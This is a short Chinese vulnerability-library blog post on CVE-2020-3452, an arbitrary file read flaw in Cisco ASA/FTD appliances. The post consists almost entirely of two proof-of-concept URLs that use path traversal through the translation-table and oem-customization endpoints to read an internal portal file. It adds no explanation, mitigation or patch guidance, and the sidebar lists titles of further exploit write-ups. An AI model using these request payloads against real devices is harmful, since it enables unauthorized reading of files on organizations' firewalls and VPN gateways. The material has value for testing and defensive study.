CVE-2020-3452：Cisco_ASAFTD任意文件读取漏洞

棉花糖

2021年7月16日发布

050

POC:one:

“`
For example to read “/+CSCOE+/portal_inc.lua” file. https:///+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
“`

POC:two:

“`
https:///+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
“`

文章版权归作者所有，未经允许请勿转载。

THE END

漏洞库

喜欢就支持一下吧

点赞0 赞赏

请登录后发表评论

登录注册

请登录后查看评论内容

CVE-2020-3452：Cisco_ASAFTD任意文件读取漏洞

请登录后发表评论

1泛微OA E-Cology sync接口反序列化命令执行

2致远OA checkComponentFile后台反序列化任意命令执行

3时空智友ERP sqlResult存在SQL注入

4西安九佳易信息资讯有限公司时尚企业管理系统UpdatePrivilegedState code参数存在SQL注入

5华天动力OA存在多个SQL注入

6网络安全攻防演练与实践分享培训课件.pptx